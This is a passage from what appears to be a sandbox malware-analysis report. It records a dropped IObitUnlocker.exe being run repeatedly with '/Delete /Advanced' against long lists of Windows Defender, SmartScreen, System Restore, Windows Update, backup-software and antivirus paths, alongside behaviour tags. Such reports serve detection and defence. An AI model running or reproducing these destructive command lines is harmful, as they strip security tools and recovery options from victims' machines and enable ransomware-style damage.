Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:1908
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5284
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:3948
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon 